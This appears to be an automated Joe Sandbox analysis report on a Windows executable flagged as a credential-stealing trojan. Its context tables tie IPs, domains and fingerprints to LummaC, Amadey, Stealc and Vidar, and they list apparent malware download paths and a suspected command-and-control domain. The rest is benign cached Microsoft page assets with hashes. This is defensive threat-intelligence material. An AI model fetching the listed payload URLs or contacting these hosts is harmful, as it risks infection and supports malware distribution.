Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/64@9/7
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.214.172, 184.30.17.189, 216.58.208.227, 172.217.19.238, 74.125.205.84, 2.20.41.214, 34.104.35.123, 20.44.10.123, 172.217.19.234, 172.217.19.170, 142.250.181.74, 172.217.19.202, 172.217.17.42, 142.250.181.138, 172.217.21.42, 142.250.181.106, 142.250.181.42, 216.58.208.234, 172.217.17.74, 2.19.198.56, 23.32.238.130, 13.74.129.1, 204.79.197.237, 13.107.21.237, 172.217.17.35
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, time.windows.com, onedscolprdcus05.centralus.cloudapp.azure.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, dual-a-0034.a-msedge.net, clients.l.google.com, c1.microsoft.com, wcpstatic.microsoft.co
Execution Graph export aborted for target file.exe, PID 7408 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:32:20	API Interceptor	116x Sleep call for process: file.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The URL 'learn.microsoft.com' is a subdomain of 'microsoft.com', which is the legitimate domain for Microsoft.", "Microsoft is a well-known brand with a strong online presence.", "The URL does not contain any suspicious elements such as misspellings, extra characters, or unusual domain extensions.", "The subdomain 'learn' is consistent with Microsoft's branding for educational and documentation purposes." ], "riskscore": 1}
URL: learn.microsoft.com Brands: Microsoft Input Fields: unknown

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.63	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
185.215.113.16	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/well/random.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, HTMLPhisher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
atten-supporse.biz	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	Unknown	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	fkydjyhjadg.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	fkydjyhjadg.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	Solara.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
s-part-0035.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, HTMLPhisher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.63
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	TTDesktop18.exe	Get hash	malicious	Stealc, Vidar	Browse	13.107.246.63
	nothjgdwa.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	F24_023.pdf (2).js	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	F24_023.pdf.js	Get hash	malicious	Unknown	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	https://files.offshore.cat/api/file/6e007a57-1fb1-492d-ad83-342cec414101/download	Get hash	malicious	Unknown	Browse	104.26.5.55
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	172.71.167.127
	file.exe	Get hash	malicious	Unknown	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, HTMLPhisher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	104.26.12.42
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
MICROSOFT-CORP-MSN-AS-BLOCKUS	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse	22.207.81.225
	la.bot.mips.elf	Get hash	malicious	Mirai	Browse	52.115.41.219
	botnet.sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	20.203.74.204
	la.bot.m68k.elf	Get hash	malicious	Mirai	Browse	20.192.229.76
	botnet.x86.elf	Get hash	malicious	Mirai, Moobot	Browse	52.249.136.56
	botnet.m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	20.199.167.37
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	40.71.66.73
	la.bot.arm6.elf	Get hash	malicious	Unknown	Browse	21.87.152.194
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.175.87.197 13.107.246.63 184.30.17.174
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 184.30.17.174
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.175.87.197 13.107.246.63 184.30.17.174
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 184.30.17.174
	https://files.offshore.cat/api/file/6e007a57-1fb1-492d-ad83-342cec414101/download	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.246.63 184.30.17.174
	file.exe	Get hash	malicious	Amadey, HTMLPhisher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	4.175.87.197 13.107.246.63 184.30.17.174
	kisteruop.exe	Get hash	malicious	Stealc, Vidar	Browse	4.175.87.197 13.107.246.63 184.30.17.174
	kisloyat.exe	Get hash	malicious	Stealc, Vidar	Browse	4.175.87.197 13.107.246.63 184.30.17.174
	nothjgdwa.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer	Browse	4.175.87.197 13.107.246.63 184.30.17.174
	pyjnkasedf.exe	Get hash	malicious	Vidar	Browse	4.175.87.197 13.107.246.63 184.30.17.174
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, HTMLPhisher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	nothjgdwa.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer	Browse	172.67.165.166
	lkyhjksefa.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	fkydjyhjadg.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
